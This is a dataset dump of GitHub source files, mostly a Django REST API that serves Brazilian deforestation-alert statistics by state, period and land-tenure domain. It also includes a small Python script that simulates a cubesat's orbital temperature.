permited:\n\n if tipo == 'Alerta DETER':\n queryset = filter_cruzamento_alerta(\n DailyAlertaDeter.objects.all(), self.context['request'].GET\n )\n else:\n queryset = filter_cruzamento_alerta(\n DailyAlertaAwifs.objects.all(), self.context['request'].GET\n )\n else:\n queryset = filter_cruzamento_alerta(\n PublicAlertaDeter.objects.all(), self.context['request'].GET\n )\n\n\n return queryset\n\n\nclass CruzamentoGrafico2Serializer(BaseSerializer):\n def to_representation(self,obj):\n\n tipo = self.context['request'].GET.get('tipo', None)\n permited = bool(UserPermited.objects.filter(username=self.context['request'].user.username))\n\n\n if self.context['request'].user.is_authenticated() and permited:\n if tipo == 'Alerta DETER':\n mid_qs = filter_cruzamento_estadual_federal_padrao(\n DailyAlertaDeter.objects.all(), self.context['request'].GET \n ) \n # else if tipo == 'Alerta AWiFS': \n else:\n mid_qs = filter_cruzamento_estadual_federal_padrao(\n DailyAlertaAwifs.objects.all(), self.context['request'].GET \n )\n\n else:\n mid_qs = filter_cruzamento_estadual_federal_padrao(\n PublicAlertaDeter.objects.all(), self.context['request'].GET \n )\n\n\n qs_est_as = filter_cruzamento_estadual_federal_area(\n mid_qs, 'Estadual', 'dominio_as'\n )\n qs_est_pi = filter_cruzamento_estadual_federal_area(\n mid_qs, 'Estadual', 'dominio_pi'\n )\n qs_est_us = filter_cruzamento_estadual_federal_area(\n mid_qs, 'Estadual', 'dominio_us'\n )\n qs_est_ti = filter_cruzamento_estadual_federal_area(\n mid_qs, 'Estadual', 'dominio_ti'\n )\n qs_est_al = filter_cruzamento_estadual_federal_area(\n mid_qs, 'Estadual', 'areas_livre'\n )\n\n\n qs_fed_as = filter_cruzamento_estadual_federal_area(\n mid_qs, 'Federal', 'dominio_as'\n )\n qs_fed_pi = filter_cruzamento_estadual_federal_area(\n mid_qs, 'Federal', 'dominio_pi'\n )\n qs_fed_us = filter_cruzamento_estadual_federal_area(\n mid_qs, 'Federal', 'dominio_us'\n )\n qs_fed_al = filter_cruzamento_estadual_federal_area(\n mid_qs, 'Federal', 'areas_livre'\n )\n\n queryset = [{\n 'estadual': \n {\n 'Assentamentos': qs_est_as['total'],\n 'UC Proteção Integral': qs_est_pi['total'], \n 'UC Uso Sustentável': qs_est_us['total'], \n 'Terras Indígenas': qs_est_ti['total'], \n 'Áreas Livres': qs_est_al['total']\n },\n 'federal':\n {\n 'Assentamentos': qs_fed_as['total'],\n 'UC Proteção Integral': qs_fed_pi['total'], \n 'UC Uso Sustentável': qs_fed_us['total'],\n 'Áreas Livres': qs_fed_al['total']\n\n }\n }]\n # else:\n # queryset = [[]]\n\n\n # estagio = self.context['request'].GET.get('estagio', None)\n # ano_inicio = self.context['request'].GET.get('ano_inicio', None)\n # ano_fim = self.context['request'].GET.get('ano_fim', None)\n # estado = self.context['request'].GET.get('estado', None)\n # dominio = self.context['request'].GET.get('dominio', None)\n # area = self.context['request'].GET.get('area', None)\n\n # if tipo == 'Alerta DETER' or tipo == 'Alerta AWiFS':\n # mid_qs = filter_cruzamento_estadual_federal_padrao(\n # CruzamentoAlerta.objects.all(), self.context['request'].GET \n # )\n\n # qs_est_as = filter_cruzamento_estadual_federal_area(\n # mid_qs, 'Estadual', 'dominio_as'\n # )\n # qs_est_pi = filter_cruzamento_estadual_federal_area(\n # mid_qs, 'Estadual', 'dominio_pi'\n # )\n # qs_est_us = filter_cruzamento_estadual_federal_area(\n # mid_qs, 'Estadual', 'dominio_us'\n # )\n # qs_est_ti = filter_cruzamento_estadual_federal_area(\n # mid_qs, 'Estadual', 'dominio_ti'\n # )\n # qs_est_al = filter_cruzamento_estadual_federal_area(\n # mid_qs, 'Estadual', 'areas_livre'\n # )\n\n\n # qs_fed_as = filter_cruzamento_estadual_federal_area(\n # mid_qs, 'Federal', 'dominio_as'\n # )\n # qs_fed_pi = filter_cruzamento_estadual_federal_area(\n # mid_qs, 'Federal', 'dominio_pi'\n # )\n # qs_fed_us = filter_cruzamento_estadual_federal_area(\n # mid_qs, 'Federal', 'dominio_us'\n # )\n # qs_fed_al = filter_cruzamento_estadual_federal_area(\n # mid_qs, 'Federal', 'areas_livre'\n # )\n\n # queryset = [{\n # 'estadual': \n # {\n # 'Assentamentos': qs_est_as['total'],\n # 'UC Proteção Integral': qs_est_pi['total'], \n # 'UC Uso Sustentável': qs_est_us['total'], \n # 'Terras Indígenas': qs_est_ti['total'], \n # 'Áreas Livres': qs_est_al['total']\n # },\n # 'federal':\n # {\n # 'Assentamentos': qs_fed_as['total'],\n # 'UC Proteção Integral': qs_fed_pi['total'], \n # 'UC Uso Sustentável': qs_fed_us['total'],\n # 'Áreas Livres': qs_fed_al['total']\n\n # }\n # }]\n # else:\n # queryset = [[]]\n\n return queryset[0]" }, { "alpha_fraction": 0.6247401237487793, "alphanum_fraction": 0.6247401237487793, "avg_line_length": 31.066667556762695, "blob_id": "f8874277ceefa134f35c93bc76da2dd9fa44efb4", "content_id": "a842c96bf9e67d1d9ef12e5369f6b57ee5fc7eaf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 962, "license_type": "permissive", "max_line_length": 80, "num_lines": 30, "path": "/loginApp/views.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\n\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.response import Response\n\nfrom .models import UserPermited\n\n# Create your views here.\n \nclass ObtainPass(ObtainAuthToken):\n\n def post(self, request):\n result = None\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data['user']\n if user:\n permited = bool(UserPermited.objects.filter(username=user.username))\n token, created = Token.objects.get_or_create(user=user)\n result = {\n 'user': user.username,\n 'name' : user.name,\n 'email' : user.email,\n 'token' : token.key if token else ''\n }\n else :\n result = {'permited': False}\n\n return Response(result)\n" }, { "alpha_fraction": 0.5376090407371521, "alphanum_fraction": 0.5410410165786743, "avg_line_length": 30.431461334228516, "blob_id": "feb7312442976ada49034d01aeec1dccb8281cda", "content_id": "f03057a40396aa164e5727c7ec280a7a6196bf33", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13990, "license_type": "permissive", "max_line_length": 120, "num_lines": 445, "path": "/restApp/filter_functions.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom django.db.models import Sum\nfrom django.db.models.expressions import RawSQL\n\nfrom .utils import get_month\nfrom datetime import *\n\n\ndef filter_daily_total(queryset, context, qualif=False):\n if 'ano' in context and context['ano']:\n queryset = queryset.filter(\n ano=int(context['ano'])\n )\n\n if 'mes' in context and context['mes'] and not qualif:\n queryset = queryset.filter(\n mes=get_month(int(context['mes']))\n )\n elif 'mes' in context and context['mes'] and qualif:\n queryset = queryset.filter(\n mes=int(context['mes'])\n )\n\n if 'estagio' in context and context['estagio'] and context['tipo'] == 'AWIFS':\n queryset = queryset.filter(\n estagio=context['estagio']\n )\n\n if 'uf' in context and context['uf'] and not qualif:\n queryset = queryset.filter(\n estado=context['uf']\n )\n\n if not qualif:\n return queryset.values('data_imagem')\\\n .annotate(\n total=Sum('area_km2'),\n ).annotate(\n dia=RawSQL(\"EXTRACT(day FROM data_imagem)\", ())\n ).order_by('dia')\n # else:\n # if context['estagio'] == 'degradacao':\n # return queryset.values('mes_ano')\\\n # .annotate(\n # total=Sum('degradacao_deter'),\n # )\n # elif context['estagio'] == 'corte':\n # return queryset.values('mes_ano')\\\n # .annotate(\n # total=Sum('corte_raso_deter'),\n # )\n # elif context['estagio'] == 'cicatriz':\n # return queryset.values('mes_ano')\\\n # .annotate(\n # total=Sum('cicatriz_fogo'),\n # )\n\n\ndef filter_montly_total(queryset, context, qualif=False):\n if 'estagio' in context and context['estagio'] and not qualif:\n queryset = queryset.filter(\n estagio=context['estagio']\n )\n\n if 'uf' in context and context['uf'] and not qualif:\n queryset = queryset.filter(\n estado=context['uf']\n )\n\n if not qualif:\n return queryset.extra(select={'mes_id': 'select EXTRACT(month from data_imagem)'}).values('mes_id')\\\n .annotate(\n total=Sum('area_km2'),\n )\\\n .order_by('mes_id')\n elif 'estagio' in context and context['estagio']:\n if context['estagio'] == 'Degradação':\n return queryset.extra(select={'mes_id': 'mes'}).values('mes_id')\\\n .annotate(\n total=Sum('degradacao_deter'),\n )\n elif context['estagio'] == 'Corte Raso':\n return queryset.extra(select={'mes_id': 'mes'}).values('mes_id')\\\n .annotate(\n total=Sum('corte_raso_deter'),\n )\n elif context['estagio'] == 'Cicatriz de Queimada':\n return queryset.extra(select={'mes_id': 'mes'}).values('mes_id')\\\n .annotate(\n total=Sum('cicatriz_fogo'),\n )\n\n\ndef filter_indice_total(queryset, context, hasStage=True):\n if 'uf' in context and context['uf']:\n queryset = queryset.filter(\n estado=context['uf']\n )\n if 'estagio' in context and context['estagio'] and hasStage:\n queryset = queryset.filter(\n estagio=context['estagio']\n )\n\n\n mes_parc = (int(context['mes']) - 7) if (int(context['mes']) > 7) else (int(context['mes']) + 5)\n\n return queryset.values('periodo_prodes').filter(mesid__in=['{:02d}'.format(i) for i in range(int(mes_parc) + 1,13)])\n\n\n\ndef filter_indice_parcial(queryset, context, hasStage=True):\n if 'uf' in context and context['uf']:\n queryset = queryset.filter(\n estado=context['uf']\n )\n if 'estagio' in context and context['estagio'] and hasStage:\n queryset = queryset.filter(\n estagio=context['estagio']\n )\n\n mes_parc = (int(context['mes']) - 7) if (int(context['mes']) > 7) else (int(context['mes']) + 5)\n\n return queryset.values('periodo_prodes').filter(mesid__in=['{:02d}'.format(i) for i in range(1, int(mes_parc) + 1)])\n\n\n\n\ndef filter_uf_total(queryset, context, qualif=False):\n if 'estagio' in context and context['estagio'] and context['tipo'] == 'AWIFS':\n queryset = queryset.filter(\n estagio=context['estagio']\n )\n\n if 'uf' in context and context['uf'] and not qualif:\n queryset = queryset.filter(\n estado=context['uf']\n )\n\n\n if not qualif:\n return queryset.values('estado','estagio')\\\n .annotate(\n total=Sum('area_km2'),\n ).order_by('estado')\n # elif 'estagio' in context and context['estagio']:\n # if context['estagio'] == 'Degradação':\n # return queryset.extra(select={'mes_id': 'mes'}).values('periodo_prodes','mes_id')\\\n # .annotate(\n # total=Sum('degradacao_deter'),\n # )\n # elif context['estagio'] == 'Corte Raso':\n # return queryset.extra(select={'mes_id': 'mes'}).values('periodo_prodes','mes_id')\\\n # .annotate(\n # total=Sum('corte_raso_deter'),\n # )\n # elif context['estagio'] == 'Cicatriz de Queimada':\n # return queryset.extra(select={'mes_id': 'mes'}).values('periodo_prodes','mes_id')\\\n # .annotate(\n # total=Sum('cicatriz_fogo'),\n # )\n\n\ndef filter_acumulado_uf(queryset, context, hasStage=False):\n if 'uf' in context and context['uf']:\n queryset = queryset.filter(\n estado=context['uf']\n )\n\n return queryset\n\n\ndef filter_uf_comparativo(queryset, context):\n if 'uf' in context and context['uf']:\n queryset = queryset.filter(\n estado=context['uf']\n )\n\n return queryset\n\n\ndef filter_uf_nuvem(queryset, context):\n if 'uf' in context and context['uf']:\n queryset = queryset.filter(\n uf=context['uf']\n )\n\n return queryset\n\n\ndef filter_uf_periodo_mensal(queryset, context, periodo):\n\n\n if 'tipo' in context and context['tipo']:\n\n tipo = context['tipo']\n\n # if 'uf' in context and context['uf']:\n # queryset = queryset.filter(\n # estado=context['uf']\n # )\n\n # if tipo == 'DETER_QUALIF' or tipo == 'AWIFS' or tipo == 'DETER':\n # queryset = queryset.filter(\n # periodo_prodes=periodo\n # )\n\n if 'ano' in context and context['ano']:\n queryset = queryset.filter(\n ano=context['ano']\n )\n\n if 'mes' in context and context['mes']:\n # if tipo == 'DETER' or tipo == 'AWIFS':\n queryset = queryset.filter(\n mes=get_month(int(context['mes']))\n )\n # elif tipo == 'DETER_QUALIF':\n # queryset = queryset.filter(\n # mes=int(context['mes'])\n # )\n\n # if 'estagio' in context and context['estagio'] and tipo=='AWIFS':\n # queryset = queryset.filter(\n # estagio=context['estagio']\n # )\n\n return queryset\n\ndef filter_comparativo(queryset, context, ano, qualif=False):\n # queryset = DailyAlertaAwifs.objects.all().filter(ano=obj, mes=get_month(int(mes)), estado=uf, estagio=estagio)\n if 'ano':\n queryset = queryset.filter(\n ano=ano\n )\n if 'mes' in context and context['mes'] and not qualif:\n queryset = queryset.filter(\n mes=get_month(int(context['mes']))\n )\n if 'mes' in context and context['mes'] and qualif:\n queryset = queryset.filter(\n mes=int(context['mes'])\n )\n if 'uf' in context and context['uf'] and not qualif:\n queryset = queryset.filter(\n estado=context['uf']\n )\n\n return queryset\n\ndef filter_comparativo_prodes(queryset, context, ano, qualif=False):\n # queryset = DailyAlertaAwifs.objects.all().filter(ano=obj, mes=get_month(int(mes)), estado=uf, estagio=estagio)\n\n #mes = int(context['mes'])\n #prodes = \"\"\n\n mes = int(context['mes']) + 5 if int(context['mes']) < 8 else int(context['mes']) - 7\n prodes = (str(ano - 1) + \"-\" + str(ano)) if int(context['mes']) < 8 else (str(ano) + \"-\" + str(ano + 1))\n\n if 'ano':\n queryset = queryset.filter(\n periodo_prodes=prodes\n )\n if 'mes' in context and context['mes']:\n queryset = queryset.filter(\n mesid__in=['{:02d}'.format(i) for i in range(1, int(mes) + 1)]\n )\n if 'uf' in context and context['uf'] and not qualif:\n queryset = queryset.filter(\n estado=context['uf']\n )\n\n return queryset\n\ndef filter_mapa(queryset, context, qualif=False):\n # queryset = DailyAlertaAwifs.objects.all().filter(ano=obj, mes=get_month(int(mes)), estado=uf, estagio=estagio)\n ano = context['ano']\n mes = context['mes']\n uf = context['uf']\n\n # queryset = queryset.all()\n\n if ano:\n queryset = queryset.filter(\n ano=str(ano)\n )\n if mes and not qualif:\n queryset = queryset.filter(\n mes=get_month(int(mes))\n )\n if mes and qualif:\n queryset = queryset.filter(\n mes=int(mes)\n )\n if uf:\n queryset = queryset.filter(\n estado=uf\n )\n\n # if ano:\n # queryset = queryset.filter(\n # ano='2015'\n # )\n # if mes and not qualif:\n # queryset = queryset.filter(\n # mes='10'\n # )\n # if mes and qualif:\n # queryset = queryset.filter(\n # mes='OUTUBRO'\n # )\n # if uf and not qualif:\n # queryset = queryset.filter(\n # estado=''\n # )\n\n # return {'ano': ano}\n return queryset\n\ndef filter_cruzamento_alerta(queryset, context):\n\n delta = None\n\n if 'ano_inicio' in context and 'ano_fim' in context and context['ano_inicio'] and context['ano_fim']:\n fim = context['ano_fim'].split('-')\n inicio = context['ano_inicio'].split('-')\n\n delta = date(int(fim[0]), int(fim[1]), int(fim[2])) - date(int(inicio[0]), int(inicio[1]), int(inicio[2]))\n \n if delta.days < 60:\n queryset = queryset.extra(select={'label':\"to_char(data_imagem,'DD/MM/YY')\"}).values('label')\n elif delta.days < 240:\n queryset = queryset.extra(select={'label':\"to_char(data_imagem, 'YYYY/MM')\"}).values('label')\n else:\n queryset = queryset.extra(select={'label': 'ano'}).values('label')\n else:\n queryset = queryset.extra(select={'label': 'ano'}).values('label')\n\n\n\n if 'ano_inicio' in context and 'ano_fim' in context and context['ano_inicio'] and context['ano_fim']:\n queryset = queryset.filter(\n data_imagem__range=[context['ano_inicio'], context['ano_fim']]\n )\n\n if 'tipo' in context and context['tipo']:\n queryset = queryset.filter(\n tipo=context['tipo']\n )\n\n if 'estagio' in context and context['estagio']:\n queryset = queryset.filter(\n estagio=context['estagio']\n )\n\n if 'estado' in context and context['estado']:\n queryset = queryset.filter(\n estado=context['estado']\n )\n\n if 'dominio' in context and context['dominio']:\n queryset = queryset.filter(\n dominio=context['dominio']\n )\n\n if 'area' in context and context['area']:\n area = context['area']\n if area == 'dominio_us':\n queryset = queryset.filter(\n dominio_us__isnull=False\n )\n elif area == 'dominio_ti':\n queryset = queryset.filter(\n dominio_ti__isnull=False\n )\n elif area == 'dominio_pi':\n queryset = queryset.filter(\n dominio_pi__isnull=False\n )\n elif area == 'dominio_as':\n queryset = queryset.filter(\n dominio_as__isnull=False\n )\n elif area == 'areas_livres':\n queryset = queryset.filter(\n dominio_us__isnull=True, dominio_ti__isnull=True, dominio_pi__isnull=True, dominio_as__isnull=True\n )\n\n\n return queryset.annotate(total=Sum('area_km2')).order_by('label')\n\ndef filter_cruzamento_estadual_federal_padrao(queryset, context):\n\n if 'ano_inicio' in context and 'ano_fim' in context and context['ano_inicio'] and context['ano_fim']:\n queryset = queryset.filter(\n data_imagem__range=[context['ano_inicio'], context['ano_fim']]\n )\n\n if 'tipo' in context and context['tipo']:\n queryset = queryset.filter(\n tipo=context['tipo']\n )\n\n if 'estagio' in context and context['estagio']:\n queryset = queryset.filter(\n estagio=context['estagio']\n )\n\n if 'estado' in context and context['estado']:\n queryset = queryset.filter(\n estado=context['estado']\n )\n\n return queryset\n\n\ndef filter_cruzamento_estadual_federal_area(queryset, dominio, area):\n\n if dominio:\n queryset = queryset.filter(\n dominio=dominio\n )\n\n if area == 'dominio_us':\n queryset = queryset.filter(\n dominio_us__isnull=False\n )\n elif area == 'dominio_ti':\n queryset = queryset.filter(\n dominio_ti__isnull=False\n )\n elif area == 'dominio_pi':\n queryset = queryset.filter(\n dominio_pi__isnull=False\n )\n elif area == 'dominio_as':\n queryset = queryset.filter(\n dominio_as__isnull=False\n )\n elif area == 'areas_livres':\n queryset = queryset.filter(\n dominio_us__isnull=True, dominio_ti__isnull=True, dominio_pi__isnull=True, dominio_as__isnull=True\n )\n\n return queryset.aggregate(total=Sum('area_km2'))" }, { "alpha_fraction": 0.6305450201034546, "alphanum_fraction": 0.7275031805038452, "avg_line_length": 48.3125, "blob_id": "d3e0261fe59e0b3ab32113880bd0ff1035eb3f24", "content_id": "c764d6e730f4d85bac707e7cf7860c5e41fbc494", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1580, "license_type": "permissive", "max_line_length": 104, "num_lines": 32, "path": "/restApp/mommy_recipes.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom .models import DailyAlertaAwifs, DailyAlertaDeter, DailyAlertaDeterQualif\nfrom .models import PublicAlertaDeterQualif, PublicAlertaDeter\n\n#from model_mommy import mommy\nfrom model_mommy.recipe import Recipe\n\ndeter_awifs_1 = Recipe(DailyAlertaAwifs,\n ano=2015, area_km2=0.13, estado=\"MT\", mes=\"OUTUBRO\", mesid=\"03\", estagio='Degradação')\ndeter_awifs_2 = Recipe(DailyAlertaAwifs,\n ano=2015, area_km2=0.82, estado=\"RR\", mes=\"NOVEMBRO\", mesid=\"04\", estagio='Corte Raso')\n\ndaily_deter_1 = Recipe(DailyAlertaDeter,\n ano=2015, area_km2=0.23, estado=\"MA\", mes=\"AGOSTO\", mesid=\"01\")\ndaily_deter_2 = Recipe(DailyAlertaDeter,\n ano=2013, area_km2=0.58, estado=\"SE\", mes=\"SETEMBRO\", mesid=\"02\")\n\npublic_deter_1 = Recipe(PublicAlertaDeter,\n ano=2015, area_km2=0.23, uf=\"RO\", mes=\"OUTUBRO\", mesid=\"03\")\npublic_deter_2 = Recipe(PublicAlertaDeter,\n ano=2013, area_km2=0.58, uf=\"CE\", mes=\"NOVEMBRO\", mesid=\"04\")\n\ndaily_deter_qualif_1 = Recipe(DailyAlertaDeterQualif,\n ano=2015, mes=10, cicatriz_fogo=12.12, corte_raso_deter=14.56, degradacao_deter=18.18, mesid=\"03\")\ndaily_deter_qualif_2 = Recipe(DailyAlertaDeterQualif,\n ano=2013, mes=11, cicatriz_fogo=50.01, corte_raso_deter=150.01, degradacao_deter=250.01, mesid=\"04\")\n\npublic_deter_qualif_1 = Recipe(PublicAlertaDeterQualif,\n ano=2015, mes=8, cicatriz_fogo=01.01, corte_raso_deter=02.02, degradacao_deter=03.03, mesid=\"01\")\npublic_deter_qualif_2 = Recipe(PublicAlertaDeterQualif,\n ano=2013, mes=9, cicatriz_fogo=1.00, corte_raso_deter=100.00, degradacao_deter=1000.00, mesid=\"02\")\n" }, { "alpha_fraction": 0.4781859815120697, "alphanum_fraction": 0.5005740523338318, "avg_line_length": 23.885713577270508, "blob_id": "4b63b7f2cae3dd743e9ef686dd60d16657edaf34", "content_id": "7f0784073caa99bd872452402e278c4657b21233", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1743, "license_type": "permissive", "max_line_length": 83, "num_lines": 70, "path": "/restApp/utils.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\ndef get_month(month):\n if month == 1:\n month = 'JANEIRO'\n elif month == 2:\n month = 'FEVEREIRO'\n elif month == 3:\n month = 'MARCO'\n elif month == 4:\n month = 'ABRIL'\n elif month == 5:\n month = 'MAIO'\n elif month == 6:\n month = 'JUNHO'\n elif month == 7:\n month = 'JULHO'\n elif month == 8:\n month = 'AGOSTO'\n elif month == 9:\n month = 'SETEMBRO'\n elif month == 10:\n month = 'OUTUBRO'\n elif month == 11:\n month = 'NOVEMBRO'\n elif month == 12:\n month = 'DEZEMBRO'\n return month\n\ndef get_reverse_month(month):\n if month == 'JANEIRO':\n month = 1\n elif month == 'FEVEREIRO':\n month = 2\n elif month == 'MARCO' or month == 'MARÇO':\n month = 3\n elif month == 'ABRIL':\n month = 4\n elif month == 'MAIO':\n month = 5\n elif month == 'JUNHO':\n month = 6\n elif month == 'JULHO':\n month = 7\n elif month == 'AGOSTO':\n month = 8\n elif month == 'SETEMBRO':\n month = 9\n elif month == 'OUTUBRO':\n month = 10\n elif month == 'NOVEMBRO':\n month = 11\n elif month == 'DEZEMBRO':\n month = 12\n return int(month)\n\n\ndef belongs_prodes(qs,prodes):\n return ((get_reverse_month(qs['mes']) >= 8 and int(qs['ano']) == prodes[0]) or\\\n (get_reverse_month(qs['mes']) <= 7 and int(qs['ano']) == prodes[1]))\n\ndef get_prodes(mes, ano, indice=0):\n if int(mes) > 7:\n return str(int(ano) + int(indice)) + '-' + str(int(ano) + int(indice) + 1)\n else:\n return str(int(ano) + int(indice) - 1) + '-' + str(int(ano) + int(indice))\n\n\ndef create_list(value):\n return [v for v in value]\n" }, { "alpha_fraction": 0.7587859630584717, "alphanum_fraction": 0.7587859630584717, "avg_line_length": 18.5625, "blob_id": "af2a4ac26eababbaf629de89b0bf0422519a35ed", "content_id": "6744590a7085f1588f969502d6732a6837306ad0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 626, "license_type": "permissive", "max_line_length": 47, "num_lines": 32, "path": "/painelmma_api/views.py", "repo_name": "cenima-ibama/painelmma_api", "src_encoding": "UTF-8", "text": "from rest_framework.generics import ListAPIView\nfrom django.shortcuts import render\n\nfrom .serializers import *\nfrom .filter_functions import *\n\n# Create your views here.\nclass GetData(ListAPIView):\n\n\tdef get_queryset(self):\n\t\tqueryset = AlertaHexgis.objects.all()\n\n\t\tqueryset = filter_total(\n\t\t\tqueryset, self.request.GET\n\t\t)\n\t\treturn queryset\n\n\tdef get_serializer_class(self):\n\t\treturn AlertaSerializer\n\n\nclass GetMapData(ListAPIView):\n\tserializer_class = AlertaMapaSerializer\n\n\tdef get_queryset(self):\n\t\tqueryset = AlertaHexgis.objects.all()\n\n\t\tqueryset = filter_total(\n\t\t\tqueryset, self.request.GET\n\t\t)\n\n\t\treturn queryset\n" } ]
19
MelbourneSpaceProgram/single-node-thermal-analysis
https://github.com/MelbourneSpaceProgram/single-node-thermal-analysis
772573bbc14b85a1b23f045d42836328b8ad5a31
5e3ae9537a0f02220d386baca0f5fb33234e4148
3099d3c7ac7bc4733d85cc07fecdb4309bdd454b
refs/heads/master
2022-11-26T16:56:45.201978
2020-08-10T09:59:02
2020-08-10T09:59:02
286,437,070
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.4230228066444397, "alphanum_fraction": 0.46974387764930725, "avg_line_length": 26.837398529052734, "blob_id": "14faf8c60b9bc37d90165d5ade59eed6862b5556", "content_id": "cc1a0a34a482d1f0adbe19bf783159131b80625f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3553, "license_type": "permissive", "max_line_length": 121, "num_lines": 123, "path": "/thermal_main.py", "repo_name": "MelbourneSpaceProgram/single-node-thermal-analysis", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\n******************Basic Thermal Analysis for a small cube-sat************************\r\n----------------Melbourne Space Program, Melbourne, Australia-------------------------\r\n\r\nBased on the works by: \r\n\"Preliminary Thermal Analysis of Small Satellites\" \r\nCasper Versteeg and David L. Cotten, Small Satellite Research Laboratory, University of Georgia, \r\n\r\nAuthor:\r\nRaoul Mazumdar\r\nPhD student in hypersonics propulsion,\r\nDate: August 2020\r\n\r\n\r\nRe - Radius of Earth (m)\r\nh - Altitude (m)\r\nBeta - Orbital inclination angle (deg)\r\nB_crit - Critical orbital inclination angle (deg)\r\na - Albedo factor (-)\r\nqir - Heat flux due to IR\r\nt - Time(s)\r\nsigma - Stefan-Boltzmann constant\r\n--------------------------------------------------------------------------------\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nplt.rcParams[\"font.family\"] = \"Times New Roman\"\r\n\r\nG = 6.67408e-11\r\nMe = 5.972e24\r\nsigma = 5.67e-8 # W.m^-2.K^-4\r\n#\r\n#\r\nalpha = 0.96\r\nepsilon = 0.90\r\n#*************************** User input **********************************\r\nh = 400*1000 # Alt\r\n#Beta = 25 # Orbital inclination\r\nRe = 6873*1000 # Radius of earth in meters\r\ndt = 10 # Simulation at dt time step (s)\r\n#### Sat dimensions\r\nDia = 21.11 / 100\r\nArea = np.pi*(Dia**2)/4\r\nMc = 4\r\ncp = 897 # Aluminium cp\r\n#*************************************************************************\r\nBeta_v = [10,45,80]\r\ncolorkey =['k','b','g','r']\r\nfor vii in range(len(Beta_v)):\r\n Beta = Beta_v[vii]\r\n tp = np.sqrt( (4*(np.pi**2)*((Re+h)**3)) / (G*Me) )\r\n B_crit = np.arcsin(Re/(h+Re)) *(180/np.pi)\r\n \r\n if Beta < B_crit:\r\n nom = np.sqrt((h**2) + 2*Re*h)\r\n denom = (Re + h)*np.cos(Beta*(np.pi/180)) \r\n fe = (1/180) * (np.arccos(nom/denom)*180/np.pi)\r\n else:\r\n fe = 0\r\n \r\n \r\n if Beta < 30:\r\n a = 0.14\r\n #\r\n qir = 228\r\n #\r\n elif Beta >= 30:\r\n a = 0.19\r\n #\r\n qir = 218\r\n \r\n #********* initialization model ************ \r\n def st_calc(x,tp,fe):\r\n t = x % tp\r\n if t < (tp/2)*(1-fe) or t > (tp/2)*(1+fe):\r\n st = 1\r\n else:\r\n st = 0\r\n return(st) \r\n \r\n # Run the simulation for 1-year \r\n \r\n tg_max = 24*365*3600 # Seconds\r\n tg_max = int(tp*10)\r\n \r\n qgen = 15.711 # Watts based on internal sat ssytems\r\n qsun = 1414 # W.m^-2 (Hot)\r\n #qsun = 1322 # w.m^-2 (cold)\r\n qsunv = [1414,1322]\r\n \r\n \r\n linekey = ['-',':']\r\n labelkey = ['hot-solar value','cold-solar value']\r\n npts = int(tg_max / dt)\r\n \r\n \r\n for i in range(2):\r\n qsun = qsunv[i]\r\n time = []\r\n temp = []\r\n ti = 0\r\n Tn = 293 # Initial satellite temp\r\n for tx in range(npts):\r\n Qi = qir*Area + (1+a)*qsun*st_calc( ti, tp, fe)*Area*alpha + qgen - (np.pi*(Dia**2)) *sigma*epsilon*(Tn**4) \r\n Tn = Tn + Qi*dt/(cp*Mc) \r\n #\r\n temp.append(Tn)\r\n time.append(ti)\r\n print(tx,'count',st_calc( ti, tp, fe)) \r\n ti = ti + dt\r\n y = np.array(temp)-273.15\r\n x = np.array(time)/tp\r\n plt.plot( x ,y, color=colorkey[vii], linestyle = linekey[i], label= '%s deg w/t %s'%(str(Beta),labelkey[i]) ) \r\n\r\nplt.xlabel('Time in orbit (Earth orbits)')\r\nplt.ylabel('Temperature (Celcius)')\r\nplt.legend(frameon=False,bbox_to_anchor=(1.03, 0.8))\r\nplt.tight_layout()\r\nplt.savefig('output_range.png', dpi=600)\r\nplt.show()\r\n\r\n " }, { "alpha_fraction": 0.8061594367027283, "alphanum_fraction": 0.8061594367027283, "avg_line_length": 90.66666412353516, "blob_id": "d808de750189f7f6feef0ee32a1a8a96eb1f42ff", "content_id": "c7edf5d354d32f655dabf7f09d7cb43786d841b8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 552, "license_type": "permissive", "max_line_length": 228, "num_lines": 6, "path": "/README.md", "repo_name": "MelbourneSpaceProgram/single-node-thermal-analysis", "src_encoding": "UTF-8", "text": "# single-node-thermal-analysis\nA basic code for demonstrating expected temperature trends in a small cube-sat. \n\nBased on the publication by Casper Verteeg and David L. Cotten, for the \"Preliminary Thermal Analysis of Small Satellites\".\nIn this paper, two methods are demonstrated with the first lumping the satellite into a single mass.\nThe code currently in this folder is based on this particular method. However, if the user requires better accuracy then the additional method in the paper which takes into account multi-node thermal analysis would be advisable. \n\n" } ]
2
unconst/NetTensor
https://github.com/unconst/NetTensor
01b96d2813f75635493248ed246f2ddb1d7216d8
966b6e132bffad4394723efd304ff67e34959b2c
d40bee8e0cbbdd6047339bc815c36f2bc1867e4b
refs/heads/master
2020-09-24T18:21:50.010874
2019-12-30T23:00:23
2019-12-30T23:00:23
225,815,764
0
0
null
null
null
null
null
